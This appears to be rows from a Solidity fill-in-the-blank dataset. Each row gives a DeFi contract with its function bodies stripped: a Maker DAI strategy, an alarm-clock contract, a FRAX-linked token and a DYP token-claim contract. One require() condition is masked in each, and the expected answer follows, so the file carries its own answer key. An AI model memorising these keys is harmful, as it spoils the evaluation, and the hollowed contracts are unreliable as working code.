///@notice Set Amount of credit in underlying want tokens that will automatically trigger a harvest
function setCreditThreshold(uint256 _creditThreshold) external onlyEmergencyAuthorized
{
}
///@notice Target collateralization ratio to maintain within bounds by keeper automation
function setCollateralizationRatio(uint256 _collateralizationRatio) external onlyEmergencyAuthorized
{
require(<FILL_ME>) // check if desired collateralization ratio is too low
collateralizationRatio = _collateralizationRatio;
}
///@notice Set Rebalancing bands (collat ratio - tolerance, collat_ratio + tolerance)
function setRebalanceTolerance(uint256 _rebalanceTolerance)
external
onlyEmergencyAuthorized
{
}
// Max slippage to accept when withdrawing from yVault
function setMaxLoss(uint256 _maxLoss) external onlyVaultManagers {
}
// If set to true the strategy will never sell want to repay debts
function setLeaveDebtBehind(bool _leaveDebtBehind)
external
onlyEmergencyAuthorized
{
}
// Required to move funds to a new cdp and use a different cdpId after migration - Should only be called by governance as it will move funds
function shiftToCdp(uint256 newCdpId) external onlyGovernance {
}
// Move yvDAI funds to a new yVault - Should only be called by governance as it will move funds
function migrateToNewDaiYVault(IVault newYVault) external onlyGovernance {
}
// Allow address to manage Maker's CDP - Should only be called by governance as it would allow to move funds
function grantCdpManagingRightsToUser(address user, bool allow)
external
onlyGovernance
{
}
// Allow switching between Sushi (0), Univ2 (1), Univ3 (2), yswaps (3) -- Mid is the intermediatry token to swap to
function setSwapRouterSelection(uint24 _swapRouterSelection, uint24 _feeInvestmentTokenToMidUNIV3, uint24 _feeMidToWantUNIV3, uint24 _midTokenChoice) external onlyVaultManagers {
}
// Allow external debt repayment
// Attempt to take currentRatio to target c-ratio
// Passing zero will repay all debt if possible
function emergencyDebtRepayment(uint256 currentRatio)
external
onlyVaultManagers
{
}
// Allow repayment of an arbitrary amount of Dai without having to
// grant access to the CDP in case of an emergency
// Difference with `emergencyDebtRepayment` function above is that here we
// are short-circuiting all strategy logic and repaying Dai at once
// This could be helpful if for example yvDAI withdrawals are failing and
// we want to do a Dai airdrop and direct debt repayment instead
function repayDebtWithDaiBalance(uint256 amount)
external
onlyVaultManagers
{
}
// ******** OVERRIDEN METHODS FROM BASE CONTRACT ************
function name() external view override returns (string memory) {
}
function delegatedAssets() external view override returns (uint256) {
}
function estimatedTotalAssets() public view override returns (uint256) {
}
function prepareReturn(uint256 _debtOutstanding)
internal
override
returns (
uint256 _profit,
uint256 _loss,
uint256 _debtPayment
)
{
}
function adjustPosition(uint256 _debtOutstanding) internal override {
}
function liquidatePosition(uint256 _amountNeeded)
internal
override
returns (uint256 _liquidatedAmount, uint256 _loss)
{
}
function liquidateAllPositions()
internal
override
returns (uint256 _amountFreed)
{
}
function harvestTrigger(uint256)
public
view
override
returns (bool)
{
}
function tendTrigger(uint256)
public
view
override
returns (bool)
{
}
function prepareMigration(address _newStrategy) internal override {
}
function protectedTokens()
internal
view
override
returns (address[] memory)
{}
// we don't need this anymore since we don't use baseStrategy harvestTrigger
function ethToWant(uint256 _amtInWei)
public
view
virtual
override
returns (uint256)
{}
// ----------------- INTERNAL FUNCTIONS SUPPORT -----------------
function _repayDebt(uint256 currentRatio) internal {
}
function _sellCollateralToRepayRemainingDebtIfNeeded() internal {
}
// Mint the maximum DAI possible for the locked collateral
function _mintMoreInvestmentToken() internal {
}
function _withdrawFromYVault(uint256 _amountIT) internal returns (uint256) {
}
function _depositInvestmentTokenInYVault() internal {
}
function _repayInvestmentTokenDebt(uint256 amount) internal {
}
function _checkAllowance(
address _contract,
address _token,
uint256 _amount
) internal {
}
function _takeYVaultProfit() internal {
}
function _depositToMakerVault(uint256 amount) internal {
}
// Returns maximum collateral to withdraw while maintaining the target collateralization ratio
function _maxWithdrawal() internal view returns (uint256) {
}
// ----------------- PUBLIC BALANCES AND CALCS -----------------
function balanceOfWant() public view returns (uint256) {
}
///@notice Returns investment token balance in the strategy
function balanceOfInvestmentToken() public view returns (uint256) {
}
///@notice Returns debt balance in the maker vault
function balanceOfDebt() public view returns (uint256) {
}
///@notice Returns collateral balance in the maker vault
function balanceOfMakerVault() public view returns (uint256) {
}
///@notice Returns the DAI ceiling = amount of DAI that is available to be minted from Maker
function balanceOfDaiAvailableToMint() public view returns (uint256) {
}
// Effective collateralization ratio of the vault
function getCurrentMakerVaultRatio() public view returns (uint256) {
}
// Check if current base fee is below an external oracle target base fee
function isBaseFeeAcceptable() internal view returns (bool) {
}
// ----------------- INTERNAL CALCS -----------------
// Returns the minimum price available
function _getWantTokenPrice() internal view returns (uint256) {
}
function _valueOfInvestment() internal view returns (uint256) {
}
function _investmentTokenToYShares(uint256 amount)
internal
view
returns (uint256)
{
}
function _lockCollateralAndMintDai(
uint256 collateralAmount,
uint256 daiToMint
) internal {
}
function _freeCollateralAndRepayDai(
uint256 collateralAmount,
uint256 daiToRepay
) internal {
}
// ----------------- TOKEN CONVERSIONS -----------------
function _convertInvestmentTokenToWant(uint256 amount)
internal
view
returns (uint256)
{
}
//investmentToken --> want
function _swapKnownInInvestmentTokenToWant(uint256 _amountIn) internal {
}
//want --> investmentToken
function _swapKnownOutWantToInvestmentToken(uint256 _amountOut) internal {
}
// ----------------- YSWAPS FUNCTIONS ---------------------
function setTradeFactory(address _tradeFactory) external onlyGovernance {
}
function removeTradeFactoryPermissions() external onlyEmergencyAuthorized {
}
function _removeTradeFactoryPermissions() internal {
}
}
| _collateralizationRatio.sub(rebalanceTolerance)>MakerDaiDelegateLib.getLiquidationRatio(ilk).mul(MAX_BPS).div(RAY) | 475,163 | _collateralizationRatio.sub(rebalanceTolerance)>MakerDaiDelegateLib.getLiquidationRatio(ilk).mul(MAX_BPS).div(RAY) |
null | contract Strategy is BaseStrategy {
using SafeERC20 for IERC20;
using Address for address;
using SafeMath for uint256;
// Units used in Maker contracts
uint256 internal constant WAD = 10**18;
uint256 internal constant RAY = 10**27;
// DAI token
IERC20 internal constant investmentToken = IERC20(0x6B175474E89094C44Da98b954EedeAC495271d0F);
// 100%
uint256 internal constant MAX_BPS = WAD;
// Maximum loss on withdrawal from yVault
uint256 internal constant MAX_LOSS_BPS = 10000;
// 0 = sushi, 1 = univ2, 2 = univ3, 3 = yswaps
uint24 public swapRouterSelection;
uint24 public feeInvestmentTokenToMidUNIV3;
uint24 public feeMidToWantUNIV3;
// 0 = through WETH, 1 = through USDC, 2 = direct
uint24 public midTokenChoice;
//ySwaps:
address public tradeFactory;
// BaseFee Oracle:
address internal constant baseFeeOracle = 0xb5e1CAcB567d98faaDB60a1fD4820720141f064F;
uint256 public creditThreshold; // amount of credit in underlying tokens that will automatically trigger a harvest
bool internal forceHarvestTriggerOnce; // only set this to true when we want to trigger our keepers to harvest for us
// Token Adapter Module for collateral
address internal gemJoinAdapter;
// Maker Oracle Security Module
IOSMedianizer public wantToUSDOSMProxy;
// DAI yVault
IVault public yVault;
// Collateral type
bytes32 internal ilk;
// Our vault identifier
uint256 public cdpId;
// Our desired collaterization ratio
uint256 public collateralizationRatio;
// Allow the collateralization ratio to drift a bit in order to avoid cycles
uint256 public rebalanceTolerance;
// Maximum acceptable loss on withdrawal. Default to 0.01%.
uint256 public maxLoss;
// If set to true the strategy will never try to repay debt by selling want
bool public leaveDebtBehind;
// Name of the strategy
string internal strategyName;
// ----------------- INIT FUNCTIONS TO SUPPORT CLONING -----------------
constructor(
address _vault,
address _yVault,
string memory _strategyName,
bytes32 _ilk,
address _gemJoin,
address _wantToUSDOSMProxy
) public BaseStrategy(_vault) {
}
function initialize(
address _vault,
address _yVault,
string memory _strategyName,
bytes32 _ilk,
address _gemJoin,
address _wantToUSDOSMProxy
) public {
}
function _initializeThis(
address _yVault,
string memory _strategyName,
bytes32 _ilk,
address _gemJoin,
address _wantToUSDOSMProxy
) internal {
}
// ----------------- SETTERS & MIGRATION -----------------
///@notice Change OSM Proxy.
function setWantToUSDOSMProxy(address _wantToUSDOSMProxy) external onlyGovernance {
}
///@notice Force manual harvest through keepers using KP3R instead of ETH:
function setForceHarvestTriggerOnce(bool _forceHarvestTriggerOnce) external onlyEmergencyAuthorized
{
}
///@notice Set Amount of credit in underlying want tokens that will automatically trigger a harvest
function setCreditThreshold(uint256 _creditThreshold) external onlyEmergencyAuthorized
{
}
///@notice Target collateralization ratio to maintain within bounds by keeper automation
function setCollateralizationRatio(uint256 _collateralizationRatio) external onlyEmergencyAuthorized
{
}
///@notice Set Rebalancing bands (collat ratio - tolerance, collat_ratio + tolerance)
function setRebalanceTolerance(uint256 _rebalanceTolerance)
external
onlyEmergencyAuthorized
{
require(<FILL_ME>) // check if desired rebalance tolerance makes allowed ratio too low
rebalanceTolerance = _rebalanceTolerance;
}
// Max slippage to accept when withdrawing from yVault
function setMaxLoss(uint256 _maxLoss) external onlyVaultManagers {
}
// If set to true the strategy will never sell want to repay debts
function setLeaveDebtBehind(bool _leaveDebtBehind)
external
onlyEmergencyAuthorized
{
}
// Required to move funds to a new cdp and use a different cdpId after migration - Should only be called by governance as it will move funds
function shiftToCdp(uint256 newCdpId) external onlyGovernance {
}
// Move yvDAI funds to a new yVault - Should only be called by governance as it will move funds
function migrateToNewDaiYVault(IVault newYVault) external onlyGovernance {
}
// Allow address to manage Maker's CDP - Should only be called by governance as it would allow to move funds
function grantCdpManagingRightsToUser(address user, bool allow)
external
onlyGovernance
{
}
// Allow switching between Sushi (0), Univ2 (1), Univ3 (2), yswaps (3) -- Mid is the intermediatry token to swap to
function setSwapRouterSelection(uint24 _swapRouterSelection, uint24 _feeInvestmentTokenToMidUNIV3, uint24 _feeMidToWantUNIV3, uint24 _midTokenChoice) external onlyVaultManagers {
}
// Allow external debt repayment
// Attempt to take currentRatio to target c-ratio
// Passing zero will repay all debt if possible
function emergencyDebtRepayment(uint256 currentRatio)
external
onlyVaultManagers
{
}
// Allow repayment of an arbitrary amount of Dai without having to
// grant access to the CDP in case of an emergency
// Difference with `emergencyDebtRepayment` function above is that here we
// are short-circuiting all strategy logic and repaying Dai at once
// This could be helpful if for example yvDAI withdrawals are failing and
// we want to do a Dai airdrop and direct debt repayment instead
function repayDebtWithDaiBalance(uint256 amount)
external
onlyVaultManagers
{
}
// ******** OVERRIDEN METHODS FROM BASE CONTRACT ************
function name() external view override returns (string memory) {
}
function delegatedAssets() external view override returns (uint256) {
}
function estimatedTotalAssets() public view override returns (uint256) {
}
function prepareReturn(uint256 _debtOutstanding)
internal
override
returns (
uint256 _profit,
uint256 _loss,
uint256 _debtPayment
)
{
}
function adjustPosition(uint256 _debtOutstanding) internal override {
}
function liquidatePosition(uint256 _amountNeeded)
internal
override
returns (uint256 _liquidatedAmount, uint256 _loss)
{
}
function liquidateAllPositions()
internal
override
returns (uint256 _amountFreed)
{
}
function harvestTrigger(uint256)
public
view
override
returns (bool)
{
}
function tendTrigger(uint256)
public
view
override
returns (bool)
{
}
function prepareMigration(address _newStrategy) internal override {
}
function protectedTokens()
internal
view
override
returns (address[] memory)
{}
// we don't need this anymore since we don't use baseStrategy harvestTrigger
function ethToWant(uint256 _amtInWei)
public
view
virtual
override
returns (uint256)
{}
// ----------------- INTERNAL FUNCTIONS SUPPORT -----------------
function _repayDebt(uint256 currentRatio) internal {
}
function _sellCollateralToRepayRemainingDebtIfNeeded() internal {
}
// Mint the maximum DAI possible for the locked collateral
function _mintMoreInvestmentToken() internal {
}
function _withdrawFromYVault(uint256 _amountIT) internal returns (uint256) {
}
function _depositInvestmentTokenInYVault() internal {
}
function _repayInvestmentTokenDebt(uint256 amount) internal {
}
function _checkAllowance(
address _contract,
address _token,
uint256 _amount
) internal {
}
function _takeYVaultProfit() internal {
}
function _depositToMakerVault(uint256 amount) internal {
}
// Returns maximum collateral to withdraw while maintaining the target collateralization ratio
function _maxWithdrawal() internal view returns (uint256) {
}
// ----------------- PUBLIC BALANCES AND CALCS -----------------
function balanceOfWant() public view returns (uint256) {
}
///@notice Returns investment token balance in the strategy
function balanceOfInvestmentToken() public view returns (uint256) {
}
///@notice Returns debt balance in the maker vault
function balanceOfDebt() public view returns (uint256) {
}
///@notice Returns collateral balance in the maker vault
function balanceOfMakerVault() public view returns (uint256) {
}
///@notice Returns the DAI ceiling = amount of DAI that is available to be minted from Maker
function balanceOfDaiAvailableToMint() public view returns (uint256) {
}
// Effective collateralization ratio of the vault
function getCurrentMakerVaultRatio() public view returns (uint256) {
}
// Check if current base fee is below an external oracle target base fee
function isBaseFeeAcceptable() internal view returns (bool) {
}
// ----------------- INTERNAL CALCS -----------------
// Returns the minimum price available
function _getWantTokenPrice() internal view returns (uint256) {
}
function _valueOfInvestment() internal view returns (uint256) {
}
function _investmentTokenToYShares(uint256 amount)
internal
view
returns (uint256)
{
}
function _lockCollateralAndMintDai(
uint256 collateralAmount,
uint256 daiToMint
) internal {
}
function _freeCollateralAndRepayDai(
uint256 collateralAmount,
uint256 daiToRepay
) internal {
}
// ----------------- TOKEN CONVERSIONS -----------------
function _convertInvestmentTokenToWant(uint256 amount)
internal
view
returns (uint256)
{
}
//investmentToken --> want
function _swapKnownInInvestmentTokenToWant(uint256 _amountIn) internal {
}
//want --> investmentToken
function _swapKnownOutWantToInvestmentToken(uint256 _amountOut) internal {
}
// ----------------- YSWAPS FUNCTIONS ---------------------
function setTradeFactory(address _tradeFactory) external onlyGovernance {
}
function removeTradeFactoryPermissions() external onlyEmergencyAuthorized {
}
function _removeTradeFactoryPermissions() internal {
}
}
| collateralizationRatio.sub(_rebalanceTolerance)>MakerDaiDelegateLib.getLiquidationRatio(ilk).mul(MAX_BPS).div(RAY) | 475,163 | collateralizationRatio.sub(_rebalanceTolerance)>MakerDaiDelegateLib.getLiquidationRatio(ilk).mul(MAX_BPS).div(RAY) |
null | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "solady/src/utils/SafeTransferLib.sol";
contract AlarmClock {
event FufillmentScheduled(uint128 creationId, uint128 fufillmentId, uint256 reward);
uint128 internal _nextFufillmentId;
mapping(bytes32 => bool) internal _fufillments;
function currentFufillmentReward() public view returns (uint256) {
}
function create(uint128 creationId) public payable {
}
function fufill(uint128 creationId, uint128 fufillmentId, uint256 reward) public payable {
bytes32 fufillmentHash = keccak256(abi.encode(
creationId,
fufillmentId,
reward
));
require(<FILL_ME>)
delete _fufillments[fufillmentHash];
SafeTransferLib.forceSafeTransferETH(msg.sender, reward);
}
}
| _fufillments[fufillmentHash] | 475,181 | _fufillments[fufillmentHash] |
"anzFRAX.onlyHasRole: Permission denied" | // SPDX-License-Identifier: MIT
pragma solidity 0.8.7;
import "./ERC20.sol";
import "@openzeppelin/contracts/access/AccessControlEnumerable.sol";
import "@openzeppelin/contracts/utils/Context.sol";
import "../interfaces/ITimeLockPool.sol";
contract AnzFRAX is Context, AccessControlEnumerable, ERC20 {
bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE");
bytes32 public constant BURNER_ROLE = keccak256("BURNER_ROLE");
ITimeLockPool public timeLockPool;
modifier onlyHasRole(bytes32 _role) {
require(<FILL_ME>)
_;
}
constructor(string memory _name, string memory _symbol)
ERC20(_name, _symbol)
{
}
function mint(address _account, uint256 _amount)
external
onlyHasRole(MINTER_ROLE)
{
}
function burn(address _account, uint256 _amount)
external
onlyHasRole(BURNER_ROLE)
{
}
function _transfer(
address,
address,
uint256
) internal pure override {
}
function setUpTimeLockPool(address _poolAddress)
external
onlyHasRole(DEFAULT_ADMIN_ROLE)
{
}
function balanceOf(address _account)
public
view
override
returns (uint256)
{
}
function getMultiplier(uint256 _lockDuration, uint256 _elapsed)
public
view
returns (uint256)
{
}
}
| hasRole(_role,_msgSender()),"anzFRAX.onlyHasRole: Permission denied" | 475,313 | hasRole(_role,_msgSender()) |
"No Contracts Allowed!" | // SPDX-License-Identifier: BSD-3-Clause
pragma solidity 0.6.11;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.3._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.3._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
}
}
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.0.0, only sets of type `address` (`AddressSet`) and `uint256`
* (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
}
}
interface Token {
function transferFrom(address, address, uint) external returns (bool);
function transfer(address, uint) external returns (bool);
}
interface LegacyToken {
function transfer(address, uint) external;
}
contract ClaimTokensDyp is Ownable {
using Address for address;
using SafeMath for uint;
using EnumerableSet for EnumerableSet.AddressSet;
event ClaimedTokens(address indexed holder, uint amount);
// ============================= CONTRACT VARIABLES ==============================
// Old DYP Token
address public constant TRUSTED_OLD_DYP = 0x961C8c0B1aaD0c0b10a51FeF6a867E3091BCef17;
// New DYP Token
address public constant TRUSTED_NEW_DYP = 0x39b46B212bDF15b42B166779b9d1787A68b9D0c3;
// Burn Address
address public constant TRUSTED_BURN = 0x000000000000000000000000000000000000dEaD;
// Count no of Claimed Tokens
uint public claimedTokens = 0;
// ========================= END CONTRACT VARIABLES ==============================
// Contracts are not allowed to deposit, claim or withdraw
modifier noContractsAllowed() {
require(<FILL_ME>)
_;
}
constructor() public {
}
function claim(uint amounToClaim) external noContractsAllowed {
}
}
| !(address(msg.sender).isContract())&&tx.origin==msg.sender,"No Contracts Allowed!" | 475,441 | !(address(msg.sender).isContract())&&tx.origin==msg.sender |
"Insufficient Token Allowance" | // SPDX-License-Identifier: BSD-3-Clause
pragma solidity 0.6.11;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.3._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.3._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
}
}
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.0.0, only sets of type `address` (`AddressSet`) and `uint256`
* (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
}
